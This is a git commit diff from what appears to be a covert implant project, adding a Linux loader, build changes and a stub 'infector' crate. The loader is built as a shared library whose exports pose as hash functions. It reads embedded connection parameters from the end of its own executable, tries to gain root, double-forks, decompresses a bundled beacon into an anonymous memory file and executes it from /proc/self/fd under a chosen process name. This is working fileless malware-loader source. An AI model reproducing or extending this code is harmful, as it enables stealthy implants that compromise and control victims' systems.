feat: maybe finished the loader for now

I need a beacon before I can appropriately test the loader
This commit is contained in:
Andrew Rioux 2025-01-21 23:23:07 -05:00
parent cd56d57cb3
commit 53019f6fc9
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
8 changed files with 130 additions and 22 deletions

4
Cargo.lock generated
View File

@ -2011,6 +2011,10 @@ dependencies = [
"pcap-sys", "pcap-sys",
] ]
[[package]]
name = "sparse-infector"
version = "2.0.0"
[[package]] [[package]]
name = "sparse-installer" name = "sparse-installer"
version = "2.0.0" version = "2.0.0"

View File

@ -51,6 +51,7 @@ let
(craneLib.fileset.commonCargoSources ./nl-sys) (craneLib.fileset.commonCargoSources ./nl-sys)
./nl-sys/src/bridge.c ./nl-sys/src/bridge.c
(craneLib.fileset.commonCargoSources ./packets) (craneLib.fileset.commonCargoSources ./packets)
(craneLib.fileset.commonCargoSources ./sparse-infector)
(craneLib.fileset.commonCargoSources ./sparse-beacon) (craneLib.fileset.commonCargoSources ./sparse-beacon)
(craneLib.fileset.commonCargoSources ./sparse-unix-beacon) (craneLib.fileset.commonCargoSources ./sparse-unix-beacon)
(craneLib.fileset.commonCargoSources ./sparse-windows-beacon) (craneLib.fileset.commonCargoSources ./sparse-windows-beacon)
@ -70,6 +71,7 @@ let
(craneLib.fileset.commonCargoSources ./nl-sys) (craneLib.fileset.commonCargoSources ./nl-sys)
./nl-sys/src/bridge.c ./nl-sys/src/bridge.c
(craneLib.fileset.commonCargoSources ./packets) (craneLib.fileset.commonCargoSources ./packets)
(craneLib.fileset.commonCargoSources ./sparse-infector)
(craneLib.fileset.commonCargoSources ./sparse-installer) (craneLib.fileset.commonCargoSources ./sparse-installer)
]; ];
}; };

View File

@ -0,0 +1,6 @@
[package]
name = "sparse-infector"
edition = "2024"
version.workspace = true
[dependencies]

View File

@ -0,0 +1,14 @@
pub fn add(left: u64, right: u64) -> u64 {
left + right
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn it_works() {
let result = add(2, 2);
assert_eq!(result, 4);
}
}

View File

@ -26,12 +26,13 @@ pub fn build(b: *std.Build) !void {
.pic = true, .pic = true,
}); });
libloader.addIncludePath(b.path("src"));
libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon }); libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
libloader.linkLibC(); libloader.linkLibC();
libloader.step.dependOn(&tool_step.step); libloader.step.dependOn(&tool_step.step);
const lib = b.addSharedLibrary(.{ var lib = b.addSharedLibrary(.{
.name = "unix-loader", .name = "unix-loader",
.root_source_file = b.path("src/loader.zig"), .root_source_file = b.path("src/loader.zig"),
.target = target, .target = target,
@ -47,7 +48,9 @@ pub fn build(b: *std.Build) !void {
.strip = true, .strip = true,
}); });
lib.addIncludePath(b.path("src"));
lib.addObject(libloader); lib.addObject(libloader);
exe.addIncludePath(b.path("src"));
exe.addObject(libloader); exe.addObject(libloader);
b.installArtifact(lib); b.installArtifact(lib);

View File

@ -1,10 +1,34 @@
#define XOR_KEY 98
typedef struct {
unsigned char a;
unsigned char b;
unsigned char c;
unsigned char d;
} ipaddr_t;
typedef union SourceIp {
struct {
char mode; // set to 0
ipaddr_t source_ip;
} use_host_networking;
struct {
char mode; // set to 1
unsigned short netmask;
ipaddr_t source_ip;
ipaddr_t gateway;
} custom_networking;
} SourceIp_t;
typedef struct Parameters { typedef struct Parameters {
int destination_ip; ipaddr_t destination_ip;
int source_ip; SourceIp_t source_ip;
short destination_port; unsigned short destination_port;
short pubkey_cert_size; unsigned short pubkey_cert_size;
short privkey_size; unsigned short privkey_size;
short privkey_cert_size; unsigned short privkey_cert_size;
unsigned short beacon_name_length;
char pubkey_cert[1024]; char pubkey_cert[1024];
char identifier[64]; char beacon_identifier[64];
char beacon_name[128];
} Parameters_t; } Parameters_t;

View File

@ -4,22 +4,48 @@ const beacon = @embedFile("beacon");
const Parameters = @cImport({ const Parameters = @cImport({
@cInclude("abi.h"); @cInclude("abi.h");
}).Parameters_t; }).Parameters;
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
std.debug.print("Test {s}", .{parameters.beacon_identifier});
const uid = std.os.linux.getuid();
_ = std.c.setuid(0);
if (std.os.linux.getuid() != 0) {
return;
}
fn use_beacon(message: []const u8) !void {
const pid = std.c.fork(); const pid = std.c.fork();
if (pid == 0) { if (pid == 0) {
if (std.c.fork() == 0) { if (std.c.fork() == 0) {
const target_fd = try std.posix.memfd_create("", 0); const exe_fd = try std.posix.memfd_create("", 0);
var reader = std.io.fixedBufferStream(message); var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
var exe_file = std.fs.File{ .handle = exe_fd };
var target_file = std.fs.File{ .handle = target_fd }; try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
try std.compress.gzip.decompress(reader.reader(), target_file.writer()); var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined;
const params_input_ptr: [*]u8 = @ptrCast(parameters);
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
params_buffer[@sizeOf(Parameters)] = 0;
while (true) {} try exe_file.writer().writeAll(&params_buffer);
std.c.exit(0); var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const alloc = arena.allocator();
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
const file_path_ptr = try alloc.dupeZ(u8, file_path);
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
const envp: [*:null]const ?[*:0]const u8 = &.{null};
_ = std.c.execve(file_path_ptr, argv, envp);
std.c.exit(1);
} }
std.c.exit(0); std.c.exit(0);
} else { } else {
@ -27,8 +53,14 @@ fn use_beacon(message: []const u8) !void {
_ = std.c.waitpid(pid, &status, 0); _ = std.c.waitpid(pid, &status, 0);
_ = std.c.kill(pid, std.c.SIG.KILL); _ = std.c.kill(pid, std.c.SIG.KILL);
} }
_ = std.c.setuid(uid);
} }
export fn hash_internals() void { export fn hash_internals(parameters: *Parameters) void {
use_beacon(beacon) catch {}; use_beacon(beacon, parameters) catch |err| {
if (@import("builtin").mode == .Debug) {
std.debug.print("Error using hash internals! {any}", .{err});
}
};
} }

View File

@ -1,13 +1,36 @@
extern fn hash_internals() void; const std = @import("std");
const dbg = @import("builtin").mode == .Debug;
const Parameters = @cImport({ const Parameters = @cImport({
@cInclude("abi.h"); @cInclude("abi.h");
}).Parameters_t; }).Parameters;
export fn calculate_hash() void { extern fn hash_internals(parameters: *Parameters) void;
hash_internals();
var file_parameters: Parameters = undefined;
fn fill_parameters() !void {
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
try this_file.seekFromEnd(@sizeOf(Parameters));
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
_ = try this_file.reader().read(&param_buffer);
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
} }
export fn calculate_hash() void {
fill_parameters() catch |err| {
if (dbg) {
std.debug.print("Error calculating hash! {any}", .{err});
}
return;
};
hash_internals(&file_parameters);
}
export fn md4sum() void {}
export fn md5sum() void {} export fn md5sum() void {}
export fn sha256sum() void {} export fn sha256sum() void {}
export fn sha384sum() void {} export fn sha384sum() void {}